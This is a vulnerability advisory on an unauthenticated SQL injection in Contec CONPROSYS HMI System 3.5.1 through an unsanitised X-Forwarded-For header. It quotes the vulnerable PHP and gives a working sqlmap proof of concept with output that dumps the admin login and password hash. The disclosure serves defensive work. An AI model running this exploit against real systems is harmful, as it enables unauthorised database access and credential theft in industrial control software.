Contec CONPROSYS HMI System (CHS) Unauthenticated SQLi

There is an SQL injection vulnerability in Contec CONPROSYS HMI System (CHS) 3.5.1. An unauthenticated remote attacker can exploit it to enumerate a CHS database.

CHS logs login attempts to the dbo.m_user_login table in a PostgreSQL database:

from: auth_login.php 
...snip...>
    $v = d5::v(); // get client IP address
    if ($l != null) {
        $p = ad(time());
        $q = new d5($i, null, null, 'dbo.m_user_login');
        try {
            $q->_a(_S34_, "'" . $o . "','" . $l->l . "','" . $v . "','" . $p . "',true," . ($b ? 'true' : 'false'));
...snip...>

It uses the client IP address to fill in the client_ip column in the m_user_login table. The IP address can be taken from an attacker-controlled X-Forwarded-For header:

from: CPostgreSQL.php 
...snip...>
    static function v()
    {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        if (isset($_SERVER['REMOTE_ADDR']))
            return $_SERVER['REMOTE_ADDR'];
        return '';
    }
...snip...>

The X-Forwarded-For header is not sanitized, allowing SQL injection via a PostgreSQL INSERT statement:

from: CPostgreSQL.php 
...snip...>
    function _a($a, $e)
    {
        if ($a == null || $a == '' || $e == null || $e == '') {
            $this->a = 'Error: Invalid parameter.';
            return FALSE;
        }
        if ($this->_ == null) {
            if (!$this->k())
                return FALSE;
        }
        if ($this->_ == null) {
            $this->a = 'Error: Not connected.';
            return FALSE;
        }
        $c = 'insert into ' . $this->f . ' (' . $a . ') values (' . $e . ')';
        $_ = FALSE;
        try {
            $d = $this->_->prepare($c);
            $_ = $d->execute();
...snip...>

PoC

The following sqlmap command extracts user names and password hashes in the companys.dbo.s_users table:

sqlmap -u 'http:///php/login.php' --data='uid=admin&pwd=aaaa&cid=admin&pid=admin&type=admin,user&nname=1&lang=en' –headers="X-Forwarded-For:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*" --technique=T --level 5 --risk 3 --ignore-code=401 --dbms=PostgreSQL -p 'X-Forwarded-For' --no-cast --drop-set-cookie --dump -D dbo -T s_users -C login_id,login_password
...snip...>
[1 entry]
+----------+-------------------------------------------------------------------+
| login_id | login_password                                                    |
+----------+-------------------------------------------------------------------+
| admin    | :a0edf1520405d98745153ca965fb376e62b662d1ae4316ab4af3402e44b859f5 |
+----------+-------------------------------------------------------------------+
...snip...>